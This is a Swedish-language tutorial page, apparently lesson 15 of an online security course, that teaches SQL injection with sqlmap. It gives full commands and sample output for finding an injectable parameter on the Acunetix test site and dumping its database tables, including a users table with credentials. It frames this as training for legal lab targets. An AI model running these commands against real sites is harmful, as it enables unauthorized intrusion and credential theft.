akademin körs anonymt — inget sparas
skapa kontonummer →
Akademin / Lektion 15 — sqlmap
lektion 15 · exploit

Vad är sqlmap?

SQL-injection är en av de äldsta och allvarligaste sårbarheterna inom webb. sqlmap är verktyget som automatiskt hittar och utnyttjar dem. Lär dig vad det gör — och hur du skyddar din egen kod.

SQL-injection händer när en webbapp tar emot text från användaren och skickar in den rakt i en databasfråga, utan att rensa den först. En angripare kan då "smita ut" från det textfält den var tänkt för, och köra egna SQL-kommandon mot databasen. Resultatet: läsa data, ändra data, ibland ta över hela servern.

Bara för utbildning. sqlmap är ett aktivt angreppsverktyg. Att köra det mot en sajt utan tillstånd är dataintrång — punkt slut. Använd det bara mot: testphp.vulnweb.com (Acunetix officiella testmål), DVWA / OWASP Juice Shop i Docker, HackTheBox / TryHackMe-labb, eller sajter i bug bounty-program där SQLi är inom scope.

01Vad sqlmap egentligen är

sqlmap är skrivet i Python och är öppen källkod. Det automatiserar hela kedjan:

Det stödjer alla större databasmotorer och alla SQLi-tekniker som finns dokumenterade: boolean-based, time-based, error-based, UNION-based, stacked queries, out-of-band.

02Installation

Linux:

sudo apt install sqlmap
sqlmap --version
1.7.11

macOS / Windows:

pip install sqlmap

# eller klona från GitHub
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
python sqlmap.py --version

03Ditt första scan

Acunetix testphp har en URL där cat-parametern är medvetet sårbar för SQLi — perfekt övning:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] testing if GET parameter 'cat' is dynamic
[INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable
[INFO] testing for SQL injection on GET parameter 'cat'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'cat' appears to be 'AND boolean-based blind' injectable
[INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[INFO] GET parameter 'cat' is 'MySQL UNION query' injectable

sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 5234=5234
---

[INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.6

Parametern cat är alltså sårbar. Bakomliggande databas är MySQL. Nu kan vi börja gräva.

04Hämta data

Lista alla databaser:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

available databases [2]:
[*] acuart
[*] information_schema

Lista tabellerna i en databas:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

Dumpa en hel tabell:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --dump --batch

Database: acuart
Table: users
+----+-------+----------+-----------+
| id | uname | pass     | email     |
+----+-------+----------+-----------+
| 1  | test  | test     | em@em.com |
+----+-------+----------+-----------+

05Vanliga flaggor

06Hur du skyddar dig som utvecklare

SQLi är ett löst problem — om du gör rätt från början:

07Vad du lärt dig

Övning: full attack-kedja mot testphp

1. Kör sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch — bekräfta att cat är sårbar.

2. Lägg till --dbs för att lista alla databaser på servern.

3. Lista tabeller i databasen acuart: -D acuart --tables.

4. Dumpa tabellen users: -D acuart -T users --dump.

5. Reflektera: om en riktig sajt hade samma bugg så skulle du nu ha alla användarnamn och lösenord. Sätt upp DVWA i Docker (docker run -p 80:80 vulnerables/web-dvwa) och prova samma sak lokalt — där kan du också titta i koden och se exakt vilken rad som orsakar buggen.

Du kan nu identifiera SQL-injection.

Tillbaka till lösenord nu. Nästa lektion: John the Ripper — den klassiska lösenordskrackaren som funnits sedan 1996 och fortfarande används överallt.

Nästa: John the Ripper